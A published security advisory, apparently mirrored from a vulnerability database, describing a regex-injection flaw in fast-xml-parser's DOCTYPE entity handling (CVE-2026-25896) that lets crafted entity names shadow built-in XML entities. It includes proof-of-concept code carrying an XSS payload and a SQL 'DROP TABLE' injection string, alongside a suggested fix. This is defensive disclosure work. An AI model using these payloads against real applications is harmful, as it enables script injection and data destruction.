GHSA-M7JM-9GC2-MPF2

Vulnerability from github – Published: 2026-02-20 18:23 – Updated: 2026-02-27 16:51
VLAI
Summary
fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names
Details

Entity encoding bypass via regex injection in DOCTYPE entity names

Summary

A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.

Details

The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.

In DocTypeReader.js, entity names are passed directly to RegExp():

entities[entityName] = {
    regx: RegExp(`&${entityName};`, "g"),
    val: val
};

An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.

The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:

// v6 EntitiesParser.js line 96
const specialChar = "!?\\/[]$%{}^&*()<>|+";  // no dot

Shadowing all 5 built-in entities

Entity name Regex created Shadows
l. /&l.;/g &lt;
g. /&g.;/g &gt;
am. /&am.;/g &amp;
quo. /&quo.;/g &quot;
apo. /&apo.;/g &apos;

PoC

const { XMLParser } = require("fast-xml-parser");

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
  <text>Hello &lt;b&gt;World&lt;/b&gt;</text>
</root>`;

const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>

No special parser options needed - processEntities: true is the default.

When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.

&amp; can be shadowed too:

const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`;

const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'

Impact

This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.

  • Default config, no special options
  • Attacker can replace any &lt; / &gt; / &amp; / &quot; / &apos; with arbitrary strings
  • Direct XSS vector when parsed XML content is rendered in a page
  • v5 and v6 both affected

Suggested fix

Escape regex metacharacters before constructing the replacement regex:

const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = {
    regx: RegExp(`&${escaped};`, "g"),
    val: val
};

For v6, add . to the blacklist in validateEntityName:

const specialChar = "!?\\/[].{}^&*()<>|+";

Severity

CWE-185 (Incorrect Regular Expression)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)

Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.3"
            },
            {
              "fixed": "4.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25896"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-185"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-20T18:23:54Z",
    "nvd_published_at": "2026-02-20T21:19:27Z",
    "severity": "CRITICAL"
  },
  "details": "# Entity encoding bypass via regex injection in DOCTYPE entity names\n\n## Summary\n\nA dot (`.`) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (`\u0026lt;`, `\u0026gt;`, `\u0026amp;`, `\u0026quot;`, `\u0026apos;`) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.\n\n## Details\n\nThe fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed `.` (period), which is valid in XML names per the W3C spec.\n\nIn `DocTypeReader.js`, entity names are passed directly to `RegExp()`:\n\n```js\nentities[entityName] = {\n    regx: RegExp(`\u0026${entityName};`, \"g\"),\n    val: val\n};\n```\n\nAn entity named `l.` produces the regex `/\u0026l.;/g` where `.` matches **any character**, including the `t` in `\u0026lt;`. Since DOCTYPE entities are replaced before built-in entities, this shadows `\u0026lt;` entirely.\n\nThe same issue exists in `OrderedObjParser.js:81` (`addExternalEntities`), and in the v6 codebase - `EntitiesParser.js` has a `validateEntityName` function with a character blacklist, but `.` is not included:\n\n```js\n// v6 EntitiesParser.js line 96\nconst specialChar = \"!?\\\\/[]$%{}^\u0026*()\u003c\u003e|+\";  // no dot\n```\n\n## Shadowing all 5 built-in entities\n\n| Entity name | Regex created | Shadows |\n|---|---|---|\n| `l.` | `/\u0026l.;/g` | `\u0026lt;` |\n| `g.` | `/\u0026g.;/g` | `\u0026gt;` |\n| `am.` | `/\u0026am.;/g` | `\u0026amp;` |\n| `quo.` | `/\u0026quo.;/g` | `\u0026quot;` |\n| `apo.` | `/\u0026apo.;/g` | `\u0026apos;` |\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\nconst xml = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n  \u003c!ENTITY l. \"\u003cimg src=x onerror=alert(1)\u003e\"\u003e\n]\u003e\n\u003croot\u003e\n  \u003ctext\u003eHello \u0026lt;b\u0026gt;World\u0026lt;/b\u0026gt;\u003c/text\u003e\n\u003c/root\u003e`;\n\nconst result = new XMLParser().parse(xml);\nconsole.log(result.root.text);\n// Hello \u003cimg src=x onerror=alert(1)\u003eb\u003eWorld\u003cimg src=x onerror=alert(1)\u003e/b\u003e\n```\n\nNo special parser options needed - `processEntities: true` is the default.\n\nWhen an app renders `result.root.text` in a page (e.g. `innerHTML`, template interpolation, SSR), the injected `\u003cimg onerror\u003e` fires.\n\n`\u0026amp;` can be shadowed too:\n\n```js\nconst xml2 = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n  \u003c!ENTITY am. \"\u0027; DROP TABLE users;--\"\u003e\n]\u003e\n\u003croot\u003eSELECT * FROM t WHERE name=\u0027O\u0026amp;Brien\u0027\u003c/root\u003e`;\n\nconst r = new XMLParser().parse(xml2);\nconsole.log(r.root);\n// SELECT * FROM t WHERE name=\u0027O\u0027; DROP TABLE users;--Brien\u0027\n```\n\n## Impact\n\nThis is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.\n\n- Default config, no special options\n- Attacker can replace any `\u0026lt;` / `\u0026gt;` / `\u0026amp;` / `\u0026quot;` / `\u0026apos;` with arbitrary strings\n- Direct XSS vector when parsed XML content is rendered in a page\n- v5 and v6 both affected\n\n## Suggested fix\n\nEscape regex metacharacters before constructing the replacement regex:\n\n```js\nconst escaped = entityName.replace(/[.*+?^${}()|[\\]\\\\]/g, \u0027\\\\$\u0026\u0027);\nentities[entityName] = {\n    regx: RegExp(`\u0026${escaped};`, \"g\"),\n    val: val\n};\n```\n\nFor v6, add `.` to the blacklist in `validateEntityName`:\n\n```js\nconst specialChar = \"!?\\\\/[].{}^\u0026*()\u003c\u003e|+\";\n```\n\n## Severity\n\n**CWE-185** (Incorrect Regular Expression)\n\n**CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)**\n\nEntity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.",
  "id": "GHSA-m7jm-9gc2-mpf2",
  "modified": "2026-02-27T16:51:58Z",
  "published": "2026-02-20T18:23:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-m7jm-9gc2-mpf2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25896"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/943ef0eb1b2d3284e72dd74f44a042ee9f07026e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/ddcd0acf26ddd682cb0dc15a2bd6aa3b96bb1e69"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.3.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…